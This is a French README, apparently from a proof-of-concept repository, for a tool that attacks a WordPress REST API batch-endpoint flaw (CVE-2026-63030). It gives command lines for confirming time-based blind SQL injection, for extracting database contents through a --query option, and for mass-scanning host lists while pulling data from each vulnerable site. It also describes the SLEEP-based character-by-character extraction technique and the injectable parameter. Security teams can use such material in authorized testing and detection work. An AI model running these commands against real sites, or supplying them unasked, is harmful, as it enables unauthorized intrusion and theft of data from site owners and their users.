
Preuve de concept d'exploit pour la vulnérabilité CVE-2026-63030, démontrant des techniques d'exploitation pour la recherche et les tests en sécurité.
Outil de détection et d'exploitation non authentifié pour la vulnérabilité batch-confusion du cœur de WordPress (CVE-2026-63030 / CVE-2026-60137), qui conduit à une injection SQL et à une exécution de code à distance (RCE) via le point de terminaison batch de l'API REST.
⚠️ Uniquement pour les tests de sécurité autorisés et à des fins éducatives. Voir la Clause de non-responsabilité ci-dessous.
Les versions de WordPress affectées exposent le point de terminaison batch de l'API REST à l'adresse :
POST /wp-json/batch/v1, ouPOST /?rest_route=/batch/v1 (repli lorsque les permaliens jolis / wp-json sont désactivés)En raison d'une faille de batch confusion, les sous-requêtes imbriquées dans un corps de batch sont
traitées sans autorisation adéquate, permettant à un attaquant non authentifié d'injecter
du SQL (par exemple via le paramètre author_exclude) et, en fin de compte, d'obtenir une RCE.
Ce dépôt fournit :
| Fichier | Objectif |
|---|---|
cve-2026-63030.py | CLI Python — détection de version, résolution du point de terminaison batch, confirmation d'injection SQL aveugle basée sur SLEEP, et extraction de données via --query. Prend en charge l'analyse en masse, les threads et les proxys. |
cve-2026-63030.yaml | Template Nuclei — vérification passive de version + détection active d'injection SQL basée sur le temps sur les deux variantes de point de terminaison. |
| Branche | Plage affectée |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
Corrigé dans 6.8.6, 6.9.5 et 7.0.2.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| Option | Description |
|---|---|
-u, --url URL | URL cible unique. |
-l, --list FILE | Fichier d'URLs cibles (une par ligne ; commentaires # autorisés) pour l'analyse en masse. |
-p, --proxy URL | Router les requêtes via un proxy (par ex. http://127.0.0.1:8080). |
-t, --threads N | Concurrence pour le mode masse (par défaut 10). |
-q, --query SQL | Requête SQL à exfiltrer via une injection aveugle basée sur le temps, par ex. "select @@version". |
--exploit | Déclencher la charge utile SLEEP pour confirmer l'exploitation. |
--delay SEC | Fenêtre SLEEP pour l'injection SQL aveugle (par défaut 2). |
--timeout SEC | Délai d'expiration par requête (par défaut 10). |
--silent | Supprimer la bannière. |
-u/--url et -l/--list sont mutuellement exclusifs.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> et la compare
aux plages affectées./wp-json/batch/v1, puis se rabat sur
/?rest_route=/batch/v1 uniquement si le premier ne répond pas.--exploit envoie une charge utile SLEEP(n) et vérifie que la
réponse est effectivement retardée (duration >= delay).--query exfiltre un résultat caractère par caractère via
une recherche binaire (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
Le template sonde les deux variantes de point de terminaison et confirme l'injection SQL basée sur le temps via
duration >= 5, conditionnée par une version de WordPress affectée.
Ce projet est fourni strictement à des fins éducatives et de tests de sécurité autorisés. Vous ne pouvez l'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite pour effectuer des tests (par exemple, un périmètre de test d'intrusion, un programme de bug bounty ou un CTF).
L'analyse ou l'exploitation non autorisée de systèmes que vous ne possédez pas ou que vous n'êtes pas autorisé à tester est illégale et peut constituer une infraction pénale en vertu des lois relatives à l'usage abusif de l'informatique (par exemple, le CFAA aux États-Unis, le Computer Misuse Act au Royaume-Uni et les textes équivalents ailleurs).
Les auteurs et contributeurs n'assument aucune responsabilité et n'acceptent aucune responsabilité pour tout dommage, perte de données ou conséquence juridique découlant de l'utilisation ou du mauvais usage de ce logiciel. En utilisant cet outil, vous déclarez que votre utilisation est licite et que vous assumez tous les risques associés.
En cas de doute, ne l'exécutez pas.
0xh7ml — fourni tel quel, pour la recherche défensive et l'éducation.